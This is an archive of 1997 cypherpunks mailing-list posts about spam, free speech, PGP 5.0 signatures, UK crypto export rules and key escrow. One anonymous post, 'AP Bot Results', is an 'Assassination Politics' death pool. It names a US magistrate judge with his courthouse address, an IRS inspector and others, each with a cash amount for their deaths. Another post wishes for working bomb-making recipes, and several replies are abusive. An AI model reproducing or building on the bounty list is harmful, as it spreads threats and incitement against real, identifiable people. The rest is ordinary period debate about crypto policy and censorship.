From: "Ross Wright" <rwright@adnetsol.com>
Date: Tue, 24 Jun 1997 00:28:59 +0800
To: cypherpunks@Algebra.COM
Subject: Re: spam on this list
Message-ID: <199706231611.JAA14911@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain




> On Mon, 23 Jun 1997, Philip A. Mongelluzzo wrote:
> 
> > Twenty seven years ago I took an oath to do whatever was needed to
> > protect and defend the constitution against all enemies (domestic
> > and foreign)

Yeah, I took one, too.  You think spam is an enemy?  HAH! 

> >  But
> > what is the solution to this problem from a parents point of view?
> >  Simple - control the material.

What is the problem from a non-parent (by choice) point of view?  
Simple: control your fucking kids!  That's the number one problem in 
the USofA today.  Parents let their fucking kids run wild.  Mom 
works, Dad works, Kids are free all day to cause trouble, and send 
spam.

Spam is free speech!

Ross

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Mon, 23 Jun 1997 21:51:54 +0800
To: mark@unicorn.com (Mark Grant)
Subject: Re: New PGP signatures
In-Reply-To: <Pine.SOL.3.96.970623055041.2746A-100000@sirius.infonex.com>
Message-ID: <199706231334.JAA15896@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain



| Could I humbly request that people don't post the new (SHA?) PGP
| signatures to the list for the time being as it's a pain in the ass for
| those of us outside the US who don't yet have the ability to read them.
| PGP 2.6.x error handling doesn't know what to do with them and it breaks
| our mail-processing code.

	Better yet, could PGP release source code so those of us not
lucky enough to own a Mac, Windows, or other supported platform can
move ahead with porting?

Adam

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Mon, 23 Jun 1997 22:00:34 +0800
To: cypherpunks@toad.com
Subject: AP Bot Results
Message-ID: <199706231344.JAA17712@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



"Dead Lucky" is an Assassination Politics Bot operated in response to
the illegal and unconstitutional imprisonment of an American citizen
in retaliation for exercising his right of free speech.
It is the view of the operator's of this AP Bot that since it was the
illegal and unconstitutional actions of Federal employees which was
responsible for the implementation of this AP Bot and several others,
that they should accordingly be subjected to imprisonment without bail
for endangering the lives of others, including several Cypherpunks.

Leading eCa$h candidates for dying at an opportune time to make some
perennial loser "Dead Lucky" are:

e$ 2,610.02
J. Kelley Arnold, United States Magistrate Judge,
  Union Station Courthouse, 1717 Pacific Avenue, Tacoma, Washington

e$ 1,500.48
Jeffrey Gordon, Inspector with the Internal Revenue Service,
  Internal Security Division

e$ 758.00
Inspector Cindy Nelson

e$ 514.02
Cindy Brown

Leading Cypherpunks:
Graham John-Bullers
TruthMonger
Kent Crispin

Leading Contributors/Bettors:
The James Gang
The Dalton Gang
The Bell Gang
William Geiger III






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 23 Jun 1997 22:04:40 +0800
To: cypherpunks@cyberpass.net
Subject: off-the-record chats with spooks (was Re: spook pressure on crypto exports)
In-Reply-To: <199706222306.AAA01385@server.test.net>
Message-ID: <199706230846.JAA00380@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




There is a tendency I think to be drawn into spooks, civil servants,
and polticians requests for off the record comments on how politics
really works.  (The politics of favours, the politics of spooks
wishing to intimidate people into censoring themselves to operating
according to unwritten laws (laws which don't exist, but which the
spooks wish did, and so pretend do exist)).

I think: if they said it, hold them to it.  Ignore off the cuff
requests, if they have the force of law behind them (it boils down to
a threat to kill you, or imprison you if you disagree), that they
should also get you to behave nicely and keep quiet your experience of
the way they work in practice sucks, there's too much of it in
politics in general, it belongs on a bill-board not in quiet off the
record moments after crypto-conferences.

Of course this might have the effect that spooks don't want to talk to
you, or are more careful what they say, but who cares.

Also... some clarification on the UK export situation, which I talked
about in my last post in this thread:

One concern about some of this stuff, is that often people are
representing some company when interacting with spooks, where they 
would be covered by an NDA with the company.  Well OK.  There are 
still remailers to explain the situation without giving enough detail
to identify yourself.  Sometimes there are no NDAs.

The export situation has slightly conflicting parties, the DTI (civil
servants, Dept. of Trade & Industry) and GCHQ.  DTI say you can export
intangibly, but gave a whole list of reasons why a "responsible" company
surely would not want to do anything disreputable, like have different views
of export controls from the government, here from:

	http://www.dcs.ex.ac.uk/~aba/ukexport/dti-let.txt

: 9.  Hard to see what practical advantage there is to exporters in
: exporting technology by intangible means because they could get
: licences anyway if no concerns about the export itself.
: 
: 10.  And if concerns are sufficient for a licence to be refused, what
: reputable exporter would wish to export it by any means?

CESG/GCHQ seem less keen to admit the intangible export loop hole
exists, preferring to pretend it doesn't exist until pressed.

The DTI at least has contingency plans for this (from same letter):

: 4.  Government is aware of the potential for abuse of the spirit of
: export controls. If it appears HMG's export control policies are being
: undermined, then further action may have to be considered.

As I said in the previous post: the GCHQ off-the-record low down on this is
that if you export stuff intangibly (which the DTI at least will admit
reluctantly that you can do), then they will deny your tangible export
requests.  If you are a business, this might cause you to think carefully
about using the intangible export loop-hole.  Or perhaps about discussing
too much the way this works with journalists or otherwise embarrassing them. 
Which is of course what they want: an unwritten law which they have power to
decide as they wish.

Wouldn't it be fun if people in government/spookdom actually participated in
open discussions such as this?  (People like say Nigel Hickson, who got
roasted at the LSE crypto conference recently on the DTI/GCHQ/government
infamous TTP paper, his boss David Hendon slunk off early to avoid facing
the music during open question time). (David Hendon not to be confused with
David Henson, the ex-spook now in some governmental Euro gakkers group)

But they aren't going to participate because they operate best in
half-light, they hate harsh bright lights of open discourse.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Smith <smith@securecomputing.com>
Date: Mon, 23 Jun 1997 23:52:11 +0800
To: "ET" <cypherpunks@toad.com>
Subject: Re: Garbled in transmission.
In-Reply-To: <199706210004.UAA26052@jazz.cape.com>
Message-ID: <v03007804afd45065d675@[172.17.1.61]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:05 PM -0400 6/20/97, ET wrote:
>I caught the Headline News mention of the DES crack and it
>unfortunately put the wrong spin on things.
>
>I can't remember it word for word, but it went like this:
>"If you're going to decrypt financial transactions you'd better
>be prepared to get 1000 computers and spend 3 months on
>the project."

At least Harry Houdini made it look easy when *he* cracked state of the art
security technology...

Rick.
smith@securecomputing.com      secure computing corporation
"Internet Cryptography" soon in print http://www.visi.com/crypto/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 24 Jun 1997 01:36:37 +0800
To: cypherpunks@Algebra.COM
Subject: Anti-SPAM SPAM should be banned by Congress
In-Reply-To: <3.0.2.32.19970623063123.0092e8c0@popd.ix.netcom.com>
Message-ID: <v03102804afd460eea020@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




I really resent and hate spammers like Jason William RENNIE, who keeps
spamming me with his repetitive views about SPAM!

I want to know why Cypherpunks are not working on getting laws passed to
stop SPAM like this from reaching me! I want to know why Cypherpunks have
not gotten laws passed forcing Jason William RENNIE and Philip A.
Mongelluzzo to stop sending me SPAM I don't want to read!

When I took my oath, I promised to defend and protect the perquisites of
Congress, and I promised to uphold the laws of the United States, including
the one which says "Congress shall make laws which they claim will protect
the children, regulate commerce, control bad thoughts, uphold Christian
values, and provide for the common welfare system."

So, you Cypherpunks, are you up to the challenge to get these laws passed?

At 5:52 AM -0700 6/23/97, Jason William RENNIE wrote:

>and i can get off the list. Having it sent to MY email box is NOT my
>choice and my rights to choose are being infringed by these idiot
>shoveling there crap into my email box.

That's why I want a law banning your anti-SPAM SPAM from being spammed into
my mailbox!

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Tue, 24 Jun 1997 00:56:50 +0800
To: Charles Platt <cp@panix.com>
Subject: Re: Extremely Disappointing: Political Cryptography
In-Reply-To: <Pine.SUN.3.91.970620000629.13057D-100000@panix.com>
Message-ID: <Pine.LNX.3.95.970623103902.9790B-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain




Charles:

This has nothing to do with federal crypto regs. It just
had your email addr in it.

Got a question:

Are you the Charles Platt who wrote "The Gas"?

If so, thats great!

I surfed by it yesterday on the Loompanics site.

Jim Burnes
jim.burnes@ssds.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Tue, 24 Jun 1997 01:58:41 +0800
To: "Philip A. Mongelluzzo" <phimon@ix.netcom.com>
Subject: Re: spam on this list
In-Reply-To: <3.0.2.32.19970623063123.0092e8c0@popd.ix.netcom.com>
Message-ID: <Pine.GSO.3.96.970623100514.944B-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 23 Jun 1997, Philip A. Mongelluzzo wrote:

> I certainly agree with free speech and understand how it can be manipulated
> by the scum bags at large in society, _BUT_ free speech is free speech.
> The warts come from an ever increasing BENT society.

No you don't.  You believe in free speach for the things that do not tweak
your worldview.  I am certainly willing to bet that if you had the chance
to remove the rights of the "bent" people from expressing their views, you
would not hesitate in the slightest.

> I still am concerned about kids being subject to material that is
> inappropriate for their age group (what ever that may be).  

"Whatever that may be" is a very telling statement.  How can you tell what
is "appropreate" or "not".  What the media tells you?  What your religious
leaders tell you?  What the voices in your head tell you?  What the
government tells you?  All of those values are subjective.  They depend on
what you may or may not believe is "harmful".  Most of that is based on
cultural conditioning.

>So how do I
> insure that my son/daugher does not get their hands on _THIS_ material?

Kill them now.  Stick them in a box and feed them through a slot in the
door. Gouge out their eyes. Cut off their hands.

> Twenty seven years ago I took an oath to do whatever was needed to protect
> and defend the constitution against all enemies (domestic and foreign)  But
> what is the solution to this problem from a parents point of view?

You view the constitution as a problem?  Free speach as a problem?

Or maybe you have a problem that your children might learn about things
that you disapprove of?  Maybe they might read something that shows them
that sex is a part of life, not just something that is a side benefit of
marriage.  Maybe they might learn that sex is fun!  Maybe they will find
out that the religion their parents saddled them with is based on lies and
urban legend.  maybe they will find that their government is not so kind
and benevolent after all.  Maybe they will find out that their parents are
human and make mistakes.  Or maybe they will even figure out that the
material the parents are so afraid of are only harmful to the parents...

>  Simple
> - control the material.  Make it like liquor, guns, booze.  Oops.. for some
> reason this is a violation of the 1st amendment to!

It is also an impossibility.  People have tried to control the natural
interest in sex since the dawn of time.  Has not worked yet.  Porn has
existed since man discovered woman.  Some of the earliest existing films
are porno movies.  What has changed is access and awareness.  Until
reletive reciently porn has been more underground.  But with the spread of
technology, it has become easier and easier to supply the demand for such
things.

Or as a certain math professor once said... "Dirty books are fun!"

>  Ok, my mistake, its my
> problem.  That's easy, no Internet access.  Now my kid is at a
> disadvantage!  I keep loosing here.  I don't like the way this is beginning
> to feel!!

Your kid is already at a disadvantage.  His parents have lost perspective.

> I'm sure that the community on this list has discussed this problem at
> length.  What is the best defense?  How do we get the message out or,
> better yet, deliver it?  

You assume that it actually is a problem.  Your moral qualms over pictures
of sexual activity does not a problem make.

it is people like yourself who are activly destroying what little remains
of the constitution.  You want an exception for this and a rationalization
for that until thre is nothing left but the blandest and most tasteless
thoughts and speach.

> Whatever that is, we need to do the same thing for the 2nd Ammendment, and
> the 3rd, and so on.

Like actually follow it?  Wow!  That would be a first.

> The challenge to write code could be fun, but maybe we should use our
> collective wisdom to deliver the best of the best solutions (there may be
> more than one) to our elected officials.  Load their mailboxes up with
> solutions to problems.  Sooner or later more than one of them is going to
> think its his/her idea and push it along.  Web sites can be set up to
> assist them with details.  I'm sure you get the idea.

You are talking to the wrong group of people.  What you are asking for is
a way to censor the masses.

Anything an adult can get, a child can get.

Attempts to censor children and control what they hear, see and feel are
vague attempts to do the same to adults.  You cannot control the
information feed to children without controling the information feed for
adults. (But deep down in your heart you would like to see that as well.)

> Just another citizen wondering if anything is going to be left for our
> grandchildren.

You think this information will harm them?  Actually the control freak
mentality you want to impose is far far worse.  In actuality, much of the
problems you would like to blame on porn are, in actuality, borne out of
this country's hypocracy and neurosis about sex and sexuality.  the reason
people are so fucked up about fucking is because they have been taught
that sex is somehow wrong and shameful and dirty.  That appreciating the
beauty of the sexual act is somehow more vile and disgusting than showing
someone shot full of holes.

I think you need to examine WHY this information makes you uncomfortable.
You might learn something about yourself.  But don't expect us to help
inflict your sickness on the minds of your children.

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Tue, 24 Jun 1997 00:18:26 +0800
To: Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au>
Subject: Re: spam on this list
In-Reply-To: <Pine.SOL.3.91.970623224324.26980A-100000@hardy.ocs.mq.edu.au>
Message-ID: <Pine.BSF.3.91.970623103511.8539B-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain




Can we "can" the "SPAM" discussion?  (ouch)

As one who has beaten this subject to death on this list in the past, I 
can attest that there is little new ground to cover, few minds to be 
changed, and no relevence to crypto.
 
Perhaps we can start a " SPAM" mailing list. I wonder if the Hormel folks
have a sense of humor? ;) (Is it Hormel? Can Dimitri get in touch with 
his buddy Spamford and get the real story?)

(Disclaimer)
OTOH, I support your right to freely express your opinions in this forum 
and wouldn't dream of censoring you.

-r.w.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 24 Jun 1997 02:21:07 +0800
To: Rick Osborne <osborne@gateway.grumman.com>
Subject: Re: New PGP signatures
In-Reply-To: <3.0.1.32.19970623133802.009b2800@gateway.grumman.com>
Message-ID: <Pine.3.89.9706231057.A3379-0100000@netcom22>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 23 Jun 1997, Rick Osborne wrote:

> bennett_t1@popmail.firn.edu wrote:
> >some asshole forgot to make PGP 5.0 freeware RSA key-generating
> 
> Okay, silly question here, but what's to stop someone from adding that
> capability once the source is available?  (And if they knew they were going
> to publish the source, why not just add the capability in the first place?)

Because there is no reason for PGP to enourage people to generate new
RSA/MD5 keys when MD5 is about to go downhill.

The source is being scanned as we speak, UNIX versions will obviously be 
forthcoming soon, if you want to generate RSA keys, use PGP 2.6.2.

Get a clue,
--Lucky





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au>
Date: Mon, 23 Jun 1997 09:37:45 +0800
To: cypherpunks@toad.com
Subject: spam on this list
Message-ID: <Pine.SOL.3.91.970623112514.26562A-100000@hardy.ocs.mq.edu.au>
MIME-Version: 1.0
Content-Type: text/plain



NO i dont wish to post any, i just want to know if this list has spam 
sent to it ?? I started reciveing various pieces in the last couple of 
days and i'm trying to identify the source. 

thanx in advance,

jason =8-]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bennett_t1@popmail.firn.edu
Date: Tue, 24 Jun 1997 00:00:52 +0800
To: cypherpunks@toad.com
Subject: Re: spam on this list
In-Reply-To: <199706230222.TAA04375@adnetsol.adnetsol.com>
Message-ID: <33AEA5D0.43193BD4@popmail.firn.edu>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:

> At 7:51 PM -0700 6/22/97, Jason William RENNIE wrote:
>
> >Thats fine but, i dont want to be invited to look at nasty naked
> >cheerleaders. And isn't it somewhat problematic when a 15 yr old
> looks at
> >the mail box ?? BEsides i hate junk mail too, and if i could stick a
> no
> >junk mail sticker on my email i would.

Alrighty, see that little key on your keyboard that says "Delete?"  I
learned to use that if I don't want to be bothered by spam.  Whining
about it does nothing.  Or you can do the anti-spamming e-mail address
idea.

> You're on the wrong list. We favor free speech, including inviting
> 15-year-olds to look at pictures of their choosing on the Net. They
> don't
> _have_ to look, after all.

I think people need to learn that if you don't like it, don't watch it.
Out of sight, out of mind.

> Perhaps you should join forces with Sen. McCain and Sen. Feinswine, or
> your
> versions in your own country. Or move to Iran. Or something.

That McCain with his little "Secure Public Networks Act."  That was the
best example that CONgress just doesn't give a rat's arse about us.
They trigger the "nay" key whenever someone says those magic little
words: Child Pornongraphy.  About .02% of America trades kiddie porn,
and I bet half of them don't even use PGP.  But then again,
congresscritters don't know shit about technology.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Tue, 24 Jun 1997 01:49:29 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Extremely Disappointing: Political Cryptography
In-Reply-To: <3.0.2.32.19970621012312.00767210@popd.ix.netcom.com>
Message-ID: <Pine.LNX.3.95.970623113137.9790C-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain





On Sat, 21 Jun 1997, Bill Stewart wrote:

> At 12:14 AM 6/20/97 -0400, Charles Platt wrote:
> >I'm not saying I _want_ an agency making decisions for us; only that it 
> >would be slightly less hideously exasperating than our present situation, 
> >where technoliterates are being ruled by technoilliterates.
> 
> 

I'm not sure anymore who wrote what, but I think the idea
of having another three-letter agency involved with this is
very dangerous.

Lets take the almost unlimited abuses of the FDA, BATF, IRS etc.  These
agencies have been assigned law enforcement powers by proxy.  The
laws they enforce are administrative law.  There is nothing to
stop them from declaring administrative regs and then calling out
the jack-booted nazi's to enforce them.

Tell me this isn't true.

Plenty of cases of the FDA and BATF doing just that.

Have a better one,

Jim Burnes






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Tue, 24 Jun 1997 03:01:25 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Anti-SPAM SPAM should be banned by Congress
Message-ID: <199706231843.LAA18807@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain



On or About 23 Jun 97 at 10:29, Tim May wrote:

> That's why I want a law banning your anti-SPAM SPAM from being
> spammed into my mailbox!

Anti-SPAM SPAM is free speech.  

God, this whole free speech thing is way out of control. 
Legislation is in order, and fast, before it gets any worse.  And 
this "free speech" thing seems to be ALL OVER the internet.  
Something needs to be done.

Ross

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Tue, 24 Jun 1997 19:10:02 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: Hettinga's e$yllogism
In-Reply-To: <199706222220.AAA26096@basement.replay.com>
Message-ID: <Pine.LNX.3.91.970623120402.933A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> Why can't escrowed ecash support digital commerce?  Strong crypto with
> a government backdoor.  That's what you're offered.  Prove it can't work.


1. Government has copy of keys
2. Government misuses keys.

Simple enough for you?

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Tue, 24 Jun 1997 19:50:38 +0800
To: "Philip A. Mongelluzzo" <phimon@ix.netcom.com>
Subject: Re: spam on this list
In-Reply-To: <3.0.2.32.19970623063123.0092e8c0@popd.ix.netcom.com>
Message-ID: <Pine.LNX.3.91.970623120532.933B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> I still am concerned about kids being subject to material that is
> inappropriate for their age group (what ever that may be).  So how do I
> insure that my son/daugher does not get their hands on _THIS_ material?

Supervision, plain and simple. However, if you honestly believe your 
children are going to be harmed in some lasting way by any images they 
might find there is clearly something wrong with the way you have brought 
them up, you will find most kids are uninterested by porn images anyway, 
violence is a different matter but if kids are brought up properly they 
would understand the difference between speech and act, and have respect 
for others and understanding of non-violence, there is no way to explain 
to congress-critters the difference between speech and act, it is above them.

> - control the material.  Make it like liquor, guns, booze.  Oops.. for some
> reason this is a violation of the 1st amendment to!  Ok, my mistake, its my
> problem.  That's easy, no Internet access.  Now my kid is at a
> disadvantage!  I keep loosing here.  I don't like the way this is beginning
> to feel!!

1. Liquor: Kids should be taught to drink responsibly from an early age, 
then when they are old enough to legally drink they will not just go out 
and drink themselves to death.

2. Guns: Again, I think kids should be taught to shoot safely and 
responsibly, just as I was when I was a kid. Sure, you don`t want your 
child carrying a gun around unsupervised at too young an age, but how many 
11yr olds do you know that have the money to go buy a .38???

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Tue, 24 Jun 1997 02:32:26 +0800
To: Jim Burnes <jim.burnes@ssds.com>
Subject: Re: Extremely Disappointing: Political Cryptography
In-Reply-To: <Pine.LNX.3.95.970623103902.9790B-100000@westsec.denver.ssds.com>
Message-ID: <Pine.LNX.3.95.970623121826.9790G-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain





On Mon, 23 Jun 1997, Jim Burnes wrote:

> 
> Charles:
> 
> This has nothing to do with federal crypto regs. It just
> had your email addr in it.
> 
> Got a question:
> 

Sorry for polluting the list.  Accidental cross-posting.

jim






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Tue, 24 Jun 1997 19:36:40 +0800
To: Lee Tien <tien@well.com>
Subject: Re: Bomb-making instructions....
In-Reply-To: <v03007812afd3bd504797@[163.176.132.90]>
Message-ID: <Pine.LNX.3.91.970623122023.933D-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> It would be an interesting piece of sociology of speech, law and technology
> to do a serious, scholarly study of the public availability of existing
> bombmaking information on the Web.  Where does it come from?  How much was
> originally government information?  How accurate is it?  What kind of bombs
> can be built with the info?  Who puts it up?  Then compare what's on the
> Web to what's in university and public libraries.  This is the kind of
> study that may not be doable once the Amendment passes, for obvious reasons.

I personally know no chemistry at all, but what would be nice is if 
someone who knows what they are doing wrote an "anarchists cookbook" type 
set of files, but this time got them right so anyone attempting any of 
the recipes wouldn`t be killed.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 24 Jun 1997 01:58:11 +0800
To: cypherpunks@toad.com
Subject: Re: New PGP signatures
Message-ID: <199706231742.MAA01370@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.SOL.3.96.970623055041.2746A-100000@sirius.infonex.com>, on
06/23/97 
   at 05:53 AM, Mark Grant <mark@unicorn.com> said:

>Could I humbly request that people don't post the new (SHA?) PGP
>signatures to the list for the time being as it's a pain in the ass for
>those of us outside the US who don't yet have the ability to read them.
>PGP 2.6.x error handling doesn't know what to do with them and it breaks
>our mail-processing code.

Hi Mark,

You really need to modify your mail-processing code as you are going to
see more and more of these. You should also start work on implementing the
PGP/MIME RFC as you will be seeing more of these messages.

Nothing personal but your code should not "break" on any data that is sent
to it. PGP 2.6.x doen't have a problem with these signatures it just
returns a error code and goes on it's way.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM660l49Co1n+aLhhAQHZEQP+MGX87jPWCO3VZMZG4Pt0R0sgFSSc6N+I
7/3w1QSxJomyd6jt9SUuyKsLMMC5UY7HCC71CHVyp2Aqm4N7Q8ratNC+WMxVPO3z
1DTNM4GYOnZmwdTMgowIPhb0Cfstd4Z+KXlr0jR5pE1Kni6+r3LBG7+jVv+Im6BY
SlizRYaent0=
=YBoc
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au>
Date: Mon, 23 Jun 1997 11:05:00 +0800
To: Ross Wright <rwright@adnetsol.com>
Subject: Re: spam on this list
In-Reply-To: <199706230222.TAA04375@adnetsol.adnetsol.com>
Message-ID: <Pine.SOL.3.91.970623124902.559B-100000@hardy.ocs.mq.edu.au>
MIME-Version: 1.0
Content-Type: text/plain




> > NO i dont wish to post any, i just want to know if this list has
> > spam sent to it ?? I started reciveing various pieces in the last
> > couple of days and i'm trying to identify the source. 
> 
> Spam *is* free speech, you know. <g>
> 
> Ross
> 

Thats fine but, i dont want to be invited to look at nasty naked 
cheerleaders. And isn't it somewhat problematic when a 15 yr old looks at 
the mail box ?? BEsides i hate junk mail too, and if i could stick a no 
junk mail sticker on my email i would.

Can this be done ?? Any ideas anybody ??

Jason =8-]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 24 Jun 1997 02:08:13 +0800
To: cypherpunks@toad.com
Subject: Re: Child Porn 2 [JPG]
In-Reply-To: <199706231739.NAA07104@dhp.com>
Message-ID: <199706231752.MAA01475@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199706231739.NAA07104@dhp.com>, on 06/23/97 
   at 01:39 PM, lucifer@dhp.com (lucifer Anonymous Remailer) said:

>Warning: Unrecognized ASCII armor header label "MessageID:" ignored.

>File is encrypted.  Secret key is required to read it. 
>This message can only be read by:
>   Paul Bradley <paul@fatmans.demon.co.uk>
>  Philip R. Zimmermann <prz@acm.org>
>  rep@heavensgate.com
>  Rich Graves <llurch@stanford.edu>
>  Sandy Sandfort <SSANDFORT@ATTMAIL.COM>
>  Will Price <wprice@pgp.com>
>  Wolfgang Ley, DFN-CERT <ley@cert.dfn.de>

>
You do not have the secret key needed to decrypt this file.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6640Y9Co1n+aLhhAQGz3AQAm8rYUf1qfJlDanhSZjmLKjNwjFkbCaCe
l63U3drdjDcFOwfN94AO56rwhpEHg1otK5fnCirP2Yi2Tl+ZYJJhynb5D5cTvdhV
l1S0bocVrEghbkek69w6hXrshOvNpoS8VUTA+PZFfJUhKNtrd0dmHydkfPO42ygr
GNkY/aIbekk=
=WwuN
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bennett_t1@popmail.firn.edu
Date: Tue, 24 Jun 1997 01:36:22 +0800
To: Mark Grant <mark@unicorn.com>
Subject: Re: New PGP signatures
In-Reply-To: <Pine.SOL.3.96.970623055041.2746A-100000@sirius.infonex.com>
Message-ID: <33AEBB4A.3E9CB5E6@popmail.firn.edu>
MIME-Version: 1.0
Content-Type: text/plain



Mark Grant wrote:

> Could I humbly request that people don't post the new (SHA?) PGP
> signatures to the list for the time being as it's a pain in the ass
> for
> those of us outside the US who don't yet have the ability to read
> them.
> PGP 2.6.x error handling doesn't know what to do with them and it
> breaks
> our mail-processing code.
>
>         Mark

   Well, I still use my RSA key for all signings and encryptions since
about 85% of PGP users don't use the new Diffie-Hellman keys, and some
asshole forgot to make PGP 5.0 freeware RSA key-generating.  Luckily I
can still use my RSA key.  Plus, some assholes didn't take into account
that not everyone uses Windoze95/NT 4.0 or Macintrash, and didn't make
one yet for Unix or OS/2 or DOS or Windoze 3.1 users.  My friend still
uses 3.1 and I have to use my RSA key to talk to him.

I hope you guys with the international PGP get to use 5.0 soon.  It's
